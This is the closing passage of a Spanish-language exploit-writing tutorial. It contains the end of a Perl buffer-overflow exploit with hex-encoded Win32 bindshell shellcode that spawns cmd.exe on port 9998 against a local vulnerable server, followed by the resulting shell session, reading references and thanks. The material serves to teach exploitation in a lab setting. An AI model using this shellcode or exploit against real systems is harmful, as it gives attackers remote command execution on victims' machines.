"\xFF\xD1\x89\x85\x6C\xFE\xFF\xFF\x33\xC9\xB1\x10\x51\x8D\x85\x5C" . "\xFE\xFF\xFF\x50\xFF\xB5\x6C\xFE\xFF\xFF\xB9\x01\x3E\xA3\x71\x49" . "\xFF\xD1\x33\xC9\xB1\x05\x51\xFF\xB5\x6C\xFE\xFF\xFF\xB9\xD3\x88" . "\xA3\x71\xFF\xD1\x8B\x9D\x6C\xFE\xFF\xFF\x33\xC9\x51\x51\xFF\xB5" . "\x6C\xFE\xFF\xFF\xB9\x28\x10\xA4\x71\xFF\xD1\x89\x85\x6C\xFE\xFF" . "\xFF\x53\xB9\x39\x96\xA3\x71\xFF\xD1\x8B\x85\x6C\xFE\xFF\xFF\x89" . "\x85\x50\xFE\xFF\xFF\x89\x85\x54\xFE\xFF\xFF\x89\x85\x58\xFE\xFF" . "\xFF\x8D\x85\x08\xFE\xFF\xFF\x55\x32\xD2\x83\xEC\x08\xC6\x45\xF8" . "\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC" . "\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x5D\xF8\x50" . "\x8D\x85\x18\xFE\xFF\xFF\x50\x33\xC9\x51\x51\x51\x41\x51\x49\x51" . "\x51\x53\x51\xB8\x6B\x23\x80\x7C\xFF\xD0\x33\xC9\x49\x51\xFF\xB5" . "\x08\xFE\xFF\xFF\xB8\x30\x25\x80\x7C\xFF\xD0\xFF\xB5\x08\xFE\xFF" . "\xFF\xB8\x97\x9B\x80\x7C\xFF\xD0\xFF\xB5\x0C\xFE\xFF\xFF\xB8\x97" . "\x9B\x80\x7C\xFF\xD0\xFF\xB5\x6C\xFE\xFF\xFF\xB8\x39\x96\xA3\x71" . "\xFF\xD0\xB8\x28\x44\xA3\x71\xFF\xD0\x33\xC9\x51\xB8\xC2\xCA\x81" . "\x7B\x41\xC1\xC1\x18\x03\xC1\xFF\xD0"; $buffer = $relleno . $offset . $shellcode; $sock = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => '9999', Proto => 'tcp'); print $sock $buffer; close($sock); -------------------------------- Lo que hace este exploit es conectarse por telnet al puerto 9999 de 127.0.0.1, donde se encuentra nuestro servidor vulnerable, e inyectar la bindshell que nos abrira un cmd en el puerto 9998, al que accederemos posteriormente a traves de un telnet: --- CLIENTE -------------------- C:\> perl exploit.pl C:\> telnet localhost 9998 Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\servidor\> -------------------------------- En el servidor aparecera: ---SERVIDOR -------------------- Se ha conectado: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA©iâ|Uïýfüý°?3+¦Dëì?¦  ìà?¦  P¦=?Ç| Ð3+f¦??ëìD¦  3+fëìH¦  Ç-?fëì\¦   3+Q¦++úq Ðëà`¦  3+f¦?'Q¦f+úq Ðfëà^¦  ìàr¦  P3+f¦??Q¦Mfúq Ð3+QQQ¦?Q3+Ç-?QÇ-?Q¦içú q Ðëàl¦  3+¦?Qìà\¦  P Ál¦  ¦?>úqI Ð3+¦?Q Ál¦  ¦Ëêúq ÐïØl¦  3+QQ Ál¦  ¦(?ñq Ðëàl¦   S¦9ûúq Ðïàl¦  ëàP¦  ëàT¦  ëàX¦  ì¦  U2ÊâãE°cãE¨mãE·dãE¹.ãE³eãE²xãE¦eêU ì]°Pìà? ¦  P3+QQQAQIQQSQ©k#Ç| ð3+IQ ¦  ©0%Ç| ð ¦  ©ùøÇ| ð Á?¦  ©ùøÇ| ð Ál¦  ©9ûúq ð©(Dúq  ð3+Q©--ü{A--??- ð&ô|? -------------------------------- ---[ 7 - Referencias La verdad es que podria llenar una parrafada con enlaces de todo lo que me he leido para poder entender las cosas, pero pondre las lecturas mas interesantes, para todo lo demas, Google :-P > El texto de Rodojos, por supuesto :) que aparece en varias webs, una por ejemplo es esta: http://www.todopsp.com/foros/showthread.php?t=23953 > El texto de RaiSe, esta en: http://www.govannom.org/seguridad/buf_overf/shellcodes_win32_1.txt > Todos los documentos que hay en la web de Ricardo Narvaja y que han aportado los CracksLatinos y que puedes descargar de: http://www.ricardonarvaja.info/WEB/OTROS/EXPLOIT/ > 'Understanding Windows Shellcode' por skape, que puedes descargar en: http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf > 'Writing Small Shellcode' por Dafydd Stuttard y que puedes descargar en: http://www.ngssoftware.com/research/papers/WritingSmallShellcode.pdf > Y por supuesto, el libro 'The shellcoders handbook' que explica como explotar en diferentes sistemas y, lo mejor de todo, es que esta acualizado. ---[ 8 - Agradecimientos Quiero agradecer a blackngel y a Ricardo Narvaja toda la ayuda que me han prestado para aclarar mis innumerables dudas. Tambien enviar un saludo a mi compañero RaiSe que esta inmerso en la pesca con kayak y se ha olvidado de sus fans, que esperamos ansiosos otro documento suyo. A ver si le mandais algun mail animandole, que esta de bajon :) Y por supuesto, un gran saludo a todos los CrackSLatinoS!!